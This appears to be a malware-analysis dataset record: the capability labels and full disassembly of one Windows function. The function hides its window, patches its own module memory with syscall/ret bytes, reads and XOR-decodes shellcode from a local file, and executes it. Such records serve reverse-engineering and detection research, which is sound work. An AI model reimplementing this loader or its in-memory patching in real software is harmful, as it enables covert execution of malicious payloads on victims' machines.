Function at 0x140001740
Capabilities:
Enumerate process modules
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov qword [rsp + 0x468], r14
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [str.author:_by_zhangsan]
mov eax, dword [0x140003460]
lea rcx, [rbp - 0x68]
mov dword [rbp - 0x58], eax
movups xmmword [rbp - 0x68], xmm0
call fcn.140001560
lea rcx, [rbp - 0x50]
mov eax, 6
lea rdx, [0x140003470]
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x1400017b0
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
mov qword [rsp + 0x460], rdi
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
movzx eax, byte [rdx + 0x78]
mov byte [rcx + 0x78], al
lea rcx, [rbp - 0x50]
call fcn.140001560
mov dword [rbp - 0x80], 0x67000072
mov dword [rbp - 0x7c], 0x67000072
mov dword [rbp - 0x78], 0x9090050f
mov dword [rbp - 0x74], 0xcccc90c3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x78]
mov r8d, 8
mov rcx, rax
lea rdx, [rsp + 0x48]
mov r14, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
mov rdx, qword [rsp + 0x48]
lea r8, [rsp + 0x50]
mov r9d, 0x18
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov esi, dword [rsp + 0x58]
xor r15d, r15d
add rsi, 0xfffffffffffffff8
je 0x140001915
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rbp - 0x80]
nop word [rax + rax]
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x70]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp rbx, qword [rbp - 0x70]
jne 0x14000190c
mov r9d, 8
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x78]
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc rdi
sub rsi, 1
jne 0x1400018d0
mov ecx, 0x208
call fcn.140001f64
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, str.data.tx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov rdx, rbx
lea rcx, str.___filePath:__s_n
call fcn.140001560
xor r9d, r9d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rbx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, qword [rsp + 0x468]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400019a7
lea rcx, str.Failed_to_open_file.
call fcn.140001560
jmp 0x140001ae2
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp eax, 0xffffffff
jne 0x1400019c5
lea rcx, str.Failed_to_get_file_size.
call fcn.140001560
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x70]
mov qword [rsp + 0x40], r15
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x70], 0x60000
mov dword [rsp + 0x20], 0x1000
lea rcx, [r8 - 1]
call fcn.140001b50
mov rdx, qword [rsp + 0x40]
lea r9, [rsp + 0x7c]
mov r8d, edi
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001a34
lea rcx, str.Failed_to_read_from_file.
call fcn.140001560
jmp 0x140001ae2
mov rsi, qword [rsp + 0x40]
mov rbx, r15
test rdi, rdi
je 0x140001aa7
mov r9, qword [0x140005750]
nop dword [rax + rax]
mov r10d, 5
lea r11, [rbx + rsi]
mov rax, rdi
sub rax, rbx
cmp rax, r10
cmovb r10, rax
cmp r9, qword [0x140005758]
jne 0x140001b0f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Key_cannot_be_empty.
call fcn.1400012d0
mov rcx, rax
lea rdx, [0x1400014a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9, qword [0x140005750]
add rbx, 5
cmp rbx, rdi
jb 0x140001a50
lea rcx, str.___Decode_shellcode._n
call fcn.140001560
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], r15d
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x40]
call fcn.140001b96
call qword [rsp + 0x40]
mov rdi, qword [rsp + 0x460]
xor eax, eax
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.140001cc0
mov rbx, qword [rsp + 0x470]
add rsp, 0x440
pop r15
pop rsi
pop rbp
ret
mov rcx, r15
test r10, r10
je 0x140001a9e
nop word [rax + rax]
mov r8, qword [0x140005758]
xor edx, edx
sub r8, r9
mov rax, rcx
div r8
movzx eax, byte [rdx + r9]
xor byte [r11 + rcx], al
inc rcx
cmp rcx, r10
jae 0x140001a97
mov r9, qword [0x140005750]
jmp 0x140001b20